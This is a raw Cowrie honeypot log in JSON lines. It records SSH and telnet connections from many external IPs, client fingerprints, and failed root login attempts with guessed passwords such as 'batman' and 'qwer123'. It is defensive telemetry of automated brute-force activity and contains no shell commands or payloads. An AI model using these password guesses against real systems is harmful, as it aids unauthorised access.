{"eventid":"cowrie.login.failed","username":"root","password":"2255","message":"login attempt [root/2255] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:47:22.109653Z","src_ip":"35.225.56.202","session":"6a286376d367","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.177.27","src_port":34468,"dst_ip":"10.17.0.5","dst_port":22,"session":"26adb30e29aa","protocol":"ssh","message":"New connection: 43.134.177.27:34468 (10.17.0.5:22) [session: 26adb30e29aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:47:22.235880Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:47:22.240989Z","src_ip":"43.134.177.27","session":"26adb30e29aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.86256432533264,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:47:22.472656Z","src_ip":"192.119.13.58","session":"99a6e6a37a79","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:47:22.479099Z","src_ip":"43.134.177.27","session":"26adb30e29aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:47:23.182252Z","src_ip":"35.225.56.202","session":"6a286376d367","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"batman","message":"login attempt [root/batman] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:47:23.463624Z","src_ip":"43.134.177.27","session":"26adb30e29aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:47:24.706576Z","src_ip":"43.134.177.27","session":"26adb30e29aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57428,"dst_ip":"10.17.0.5","dst_port":23,"session":"c260e6ee822a","protocol":"telnet","message":"New connection: 192.119.13.58:57428 (10.17.0.5:23) [session: c260e6ee822a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:47:24.981156Z"}
{"eventid":"cowrie.session.closed","duration":52.14534854888916,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:47:27.066080Z","src_ip":"192.119.13.58","session":"d534b6cfbc10","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":54249,"dst_ip":"159.203.135.109","dst_port":23,"session":"465648757996","protocol":"telnet","message":"New connection: 186.195.16.41:54249 (159.203.135.109:23) [session: 465648757996]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:47:27.158569Z"}
{"eventid":"cowrie.session.closed","duration":48.16072630882263,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:47:27.551070Z","src_ip":"192.119.13.58","session":"6dd172e0deac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"59.126.224.134","src_port":35496,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b41046ee81c","protocol":"ssh","message":"New connection: 59.126.224.134:35496 (10.17.0.5:22) [session: 3b41046ee81c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:47:27.589467Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:47:27.594025Z","src_ip":"59.126.224.134","session":"3b41046ee81c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:47:27.801347Z","src_ip":"59.126.224.134","session":"3b41046ee81c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"saeed","message":"login attempt [root/saeed] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:47:28.682304Z","src_ip":"59.126.224.134","session":"3b41046ee81c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:47:29.898133Z","src_ip":"59.126.224.134","session":"3b41046ee81c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.23.26","src_port":51516,"dst_ip":"159.203.135.109","dst_port":22,"session":"22993346e23a","protocol":"ssh","message":"New connection: 165.154.23.26:51516 (159.203.135.109:22) [session: 22993346e23a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:47:31.283350Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:47:31.294327Z","src_ip":"165.154.23.26","session":"22993346e23a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:47:31.510364Z","src_ip":"165.154.23.26","session":"22993346e23a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwer123","message":"login attempt [root/qwer123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:47:32.382046Z","src_ip":"165.154.23.26","session":"22993346e23a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.51.241.230","src_port":53152,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa7c6790ffab","protocol":"ssh","message":"New connection: 49.51.241.230:53152 (159.203.135.109:22) [session: fa7c6790ffab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:47:33.433057Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:47:33.437024Z","src_ip":"49.51.241.230","session":"fa7c6790ffab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:47:33.506425Z","src_ip":"49.51.241.230","session":"fa7c6790ffab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:47:33.615195Z","src_ip":"165.154.23.26","session":"22993346e23a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"felicidad","message":"login attempt [root/felicidad] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:47:33.821502Z","src_ip":"49.51.241.230","session":"fa7c6790ffab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36000,"dst_ip":"10.17.0.5","dst_port":23,"session":"1fce12b138d1","protocol":"telnet","message":"New connection: 192.119.13.58:36000 (10.17.0.5:23) [session: 1fce12b138d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:47:34.364122Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:47:34.893341Z","src_ip":"49.51.241.230","session":"fa7c6790ffab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.740703105926514,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:47:35.240108Z","src_ip":"192.119.13.58","session":"b10c66466777","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.233.48.169","src_port":45232,"dst_ip":"10.17.0.5","dst_port":22,"session":"e3a478c39f33","protocol":"ssh","message":"New connection: 193.233.48.169:45232 (10.17.0.5:22) [session: e3a478c39f33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:47:36.609656Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:47:36.613065Z","src_ip":"193.233.48.169","session":"e3a478c39f33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:47:36.740037Z","src_ip":"193.233.48.169","session":"e3a478c39f33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dsfdhjlkljkjhghfgdfdgjhkfdgfhghfgfaiziqiqizhong","message":"login attempt [root/dsfdhjlkljkjhghfgdfdgjhkfdgfhghfgfaiziqiqizhong] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:47:37.263720Z","src_ip":"193.233.48.169","session":"e3a478c39f33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:47:38.391495Z","src_ip":"193.233.48.169","session":"e3a478c39f33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.05909037590027,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:47:41.642984Z","src_ip":"192.119.13.58","session":"142f8784b10b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"77.105.130.18","src_port":47226,"dst_ip":"159.203.135.109","dst_port":22,"session":"88098d9ea886","protocol":"ssh","message":"New connection: 77.105.130.18:47226 (159.203.135.109:22) [session: 88098d9ea886]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:47:43.414036Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:47:43.418839Z","src_ip":"77.105.130.18","session":"88098d9ea886","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:47:43.517233Z","src_ip":"77.105.130.18","session":"88098d9ea886","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"felicidad","message":"login attempt [root/felicidad] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:47:43.947364Z","src_ip":"77.105.130.18","session":"88098d9ea886","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:47:45.051288Z","src_ip":"77.105.130.18","session":"88098d9ea886","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53604,"dst_ip":"10.17.0.5","dst_port":23,"session":"99dfdb524390","protocol":"telnet","message":"New connection: 192.119.13.58:53604 (10.17.0.5:23) [session: 99dfdb524390]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:47:46.708995Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33264,"dst_ip":"10.17.0.5","dst_port":23,"session":"889acb8d459b","protocol":"telnet","message":"New connection: 192.119.13.58:33264 (10.17.0.5:23) [session: 889acb8d459b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:47:48.755858Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33972,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb7c4468af38","protocol":"telnet","message":"New connection: 192.119.13.58:33972 (10.17.0.5:23) [session: cb7c4468af38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:47:48.965496Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39122,"dst_ip":"10.17.0.5","dst_port":23,"session":"b54eb74fb938","protocol":"telnet","message":"New connection: 192.119.13.58:39122 (10.17.0.5:23) [session: b54eb74fb938]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:47:50.281627Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.176.251","src_port":49482,"dst_ip":"159.203.135.109","dst_port":22,"session":"433e22152171","protocol":"ssh","message":"New connection: 43.135.176.251:49482 (159.203.135.109:22) [session: 433e22152171]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:47:51.590914Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:47:51.595438Z","src_ip":"43.135.176.251","session":"433e22152171","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:47:51.664139Z","src_ip":"43.135.176.251","session":"433e22152171","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123!@#","message":"login attempt [root/abc123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:47:51.968558Z","src_ip":"43.135.176.251","session":"433e22152171","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47002,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc9ca56800f1","protocol":"telnet","message":"New connection: 192.119.13.58:47002 (10.17.0.5:23) [session: fc9ca56800f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:47:52.411046Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.56.225.202","src_port":49322,"dst_ip":"159.203.135.109","dst_port":22,"session":"18f24dc84665","protocol":"ssh","message":"New connection: 207.56.225.202:49322 (159.203.135.109:22) [session: 18f24dc84665]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:47:52.756025Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:47:52.761208Z","src_ip":"207.56.225.202","session":"18f24dc84665","protocol":"ssh"}
